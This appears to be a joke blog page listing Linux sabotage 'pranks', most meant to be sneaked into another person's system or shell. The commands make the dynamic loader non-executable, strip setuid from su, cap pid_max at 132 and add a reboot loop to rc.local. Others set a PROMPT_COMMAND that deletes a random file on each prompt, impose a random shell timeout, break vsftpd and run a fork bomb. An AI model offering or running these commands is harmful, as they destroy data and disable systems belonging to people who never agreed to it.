Who needs root anyway?

chmod u-s /bin/su
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Nice and quiet on the email front

Do you hate all those incoming and outgoing emails as much as we do? Are you running sendmail? In that case help is at hand:

chmod g+w /
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Better learn to type fast…

Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:

export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Fun with Vim and Files

Add this little bugger to either /etc/vimrc or to an induhvidual’s ~/.vimrc

:wqa
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

I’m sorry, but I can’t let you do that Dave…

echo "kernel.pid_max = 132" >> /etc/sysctl.conf
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Better get some rescue cd’s…

This one was submitted by giulivo using the submission link:

chmod a-x /lib/ld-2*.so
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

What ftp server?

In /etc/vsftpd/vsftpd.conf add or change the following lines:

chown_uploads=YES
chown_username=daemon<space>

Where <space> is an actual space character before the end of the line.

Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Beginners

Run the following command and reboot :

echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Meet the Prompt of Doom

Try to sneak this one into someone’s session and watch the hilarity ensue:

export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Classic

Just enter this little baby into any account where ulimit -u reports unlimited

:() { :|:& };:
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon